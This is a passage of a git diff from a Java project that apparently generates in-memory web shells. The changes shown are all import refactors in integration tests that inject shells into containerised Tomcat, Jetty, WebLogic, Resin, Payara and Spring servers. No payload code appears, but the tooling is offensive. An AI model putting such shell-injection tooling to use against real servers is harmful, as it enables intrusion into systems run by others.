org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import java.io.File; import java.util.List; import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.*; -import static com.reajason.javaweb.integration.ContainerTool.getUrl; -import static com.reajason.javaweb.integration.ContainerTool.jettyPid; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java index 0dbf8d73..c6ba7e01 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty75ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty75ContainerTest.java index f462a71e..4eefac30 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty75ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty75ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java index 5a0b7c34..d792c1d3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java index 2be9c1ac..eafc3b31 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java index 6fb1c5af..dbbd671c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java index 30177d40..fc67278c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java index 3a7136e3..edc62211 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.jetty; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java index f5168999..a98662d2 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara5201ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.payara; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java index dd5739e1..2d301b53 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.payara; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java index 8a551a0a..c0e0d562 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.payara; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java index 7e6256e4..132da7ac 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.resin; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java index 9fd081b7..692a2009 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.resin; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java index 8ac6cd0b..ccc512c8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.resin; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java index 7324b88c..1085863d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.resin; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java index b0524b18..84e81df3 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot2WebFluxContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.springwebflux; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java index c1f94111..c290f96f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebflux/SpringBoot3WebFluxContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.springwebflux; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot1ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot1ContainerTest.java index 3e2e7a28..89cc6af6 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot1ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot1ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.springwebmvc; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2ContainerTest.java index fe938a1d..2009f9f7 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.springwebmvc; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2JettyContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2JettyContainerTest.java index b534719a..0c9627da 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2JettyContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2JettyContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.springwebmvc; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2UndertowContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2UndertowContainerTest.java index 2cb7049d..ba8cd281 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2UndertowContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2UndertowContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.springwebmvc; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2WarContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2WarContainerTest.java index 136f9834..2188c14d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2WarContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot2WarContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.springwebmvc; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot3ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot3ContainerTest.java index c3968cf9..5de302a4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot3ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/springwebmvc/SpringBoot3ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.springwebmvc; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index d2aa01df..8143fa52 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index 4cb8bf22..694850dc 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java index ed019376..81a775d4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index be71e56a..e61cf730 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index d5f896fb..57a1ee9d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index 58e57f06..f277a669 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java index 8d11cd05..8b8a73be 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java @@ -1,13 +1,13 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.integration.ShellAssertionTool; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.config.CommandConfig; import com.reajason.javaweb.memshell.config.GenerateResult; import com.reajason.javaweb.memshell.config.ShellToolConfig; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index 886a85d4..8c986ff9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java index f41e6892..8a465cfe 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8DeserializeContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java index b6ecdc16..997ad1e8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ExpressionContainerTest.java @@ -1,9 +1,9 @@ package com.reajason.javaweb.integration.tomcat; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index 9d4342b9..f9029871 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.tomcat; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java index 0b711e85..535be0d8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/weblogic/WebLogic1036ContainerTest.java @@ -1,10 +1,10 @@ package com.reajason.javaweb.integration.weblogic; import com.reajason.javaweb.integration.TestCasesProvider; -import com.reajason.javaweb.memshell.Packers; import com.reajason.javaweb.memshell.Server; import com.reajason.javaweb.memshell.ShellTool; import 